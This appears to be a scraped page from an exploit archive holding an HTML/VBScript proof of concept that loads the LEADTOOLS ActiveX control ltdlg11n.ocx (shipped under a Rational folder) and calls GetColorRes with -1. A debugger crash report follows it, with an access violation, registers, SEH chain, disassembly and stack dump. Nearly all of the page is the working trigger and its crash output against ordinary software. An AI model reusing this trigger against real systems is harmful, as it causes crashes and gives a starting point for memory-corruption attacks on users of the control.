扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
<html> Test Exploit Page <object classid='clsid:00110060-B1BA-11CE-ABC6-F5B2E79D9E3F' id='target' /></object> <script language='vbscript'> targetFile = "C:\Program Files\Rational\common\ltdlg11n.ocx" prototype= "Function GetColorRes ( ByVal hWnd As Long ) As Integer" memberName = "GetColorRes" progid = "LEADDlgLib.LEADDlg" argCount = 1 arg1=-1 target.GetColorRes arg1 </script> Exception Code: ACCESS_VIOLATION Disasm: 7E428FB5 MOV [EAX],ECX Seh Chain: -------------------------------------------------- 1 73352960 VBSCRIPT.dll 2 7C839AD8 KERNEL32.dll Called From Returns To -------------------------------------------------- USER32.7E428FB5 LTKRN11n.2000A033 Registers: -------------------------------------------------- EIP 7E428FB5 -> 8B044689 EAX 7713643C -> 8B044689 EBX 00000000 ECX 00000000 EDX 00000001 EDI 02AB1FE0 -> 00000000 ESI 771363F8 -> F33BF08B EBP 0013EC60 -> 00000000 ESP 0013EC60 -> 00000000 Block Disassembly: -------------------------------------------------- 7E428FA8 PUSH EBP 7E428FA9 MOV EBP,ESP 7E428FAB MOV EAX,[EBP+8] 7E428FAE TEST EAX,EAX 7E428FB0 JE SHORT 7E428FCC 7E428FB2 MOV ECX,[EBP+C] 7E428FB5 MOV [EAX],ECX <--- CRASH 7E428FB7 MOV ECX,[EBP+10] 7E428FBA MOV [EAX+4],ECX 7E428FBD MOV ECX,[EBP+14] 7E428FC0 MOV [EAX+8],ECX 7E428FC3 MOV ECX,[EBP+18] 7E428FC6 MOV [EAX+C],ECX 7E428FC9 XOR EAX,EAX 7E428FCB INC EAX ArgDump: -------------------------------------------------- EBP+8 7713643C -> 8B044689 EBP+12 00000000 EBP+16 00000000 EBP+20 00000000 EBP+24 00000000 EBP+28 02AB1FE0 -> 00000000 Stack Dump: -------------------------------------------------- 13EC60 00 00 00 00 33 A0 00 20 3C 64 13 77 00 00 00 00[.........d.w....] 13EC70 00 00 00 00 00 00 00 00 00 00 00 00 E0 1F AB 02[................] 13EC80 D4 EC 13 00 20 1A FF 1F F8 63 13 77 E0 1F AB 02[.........c.w....] 13EC90 B4 ED 13 00 3A 11 BE 1F D4 EC 13 00 AC ED 13 00[................] 13ECA0 E0 1F AB 02 58 1F AB 02 F8 1E AB 02 00 00 00 00[....X...........] ApiLog -------------------------------------------------- ***** Installing Hooks ***** 7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll) 7c821a94 CreateFileA(C:\WINDOWS\system32\rsaenh.dll) |
体验盒子
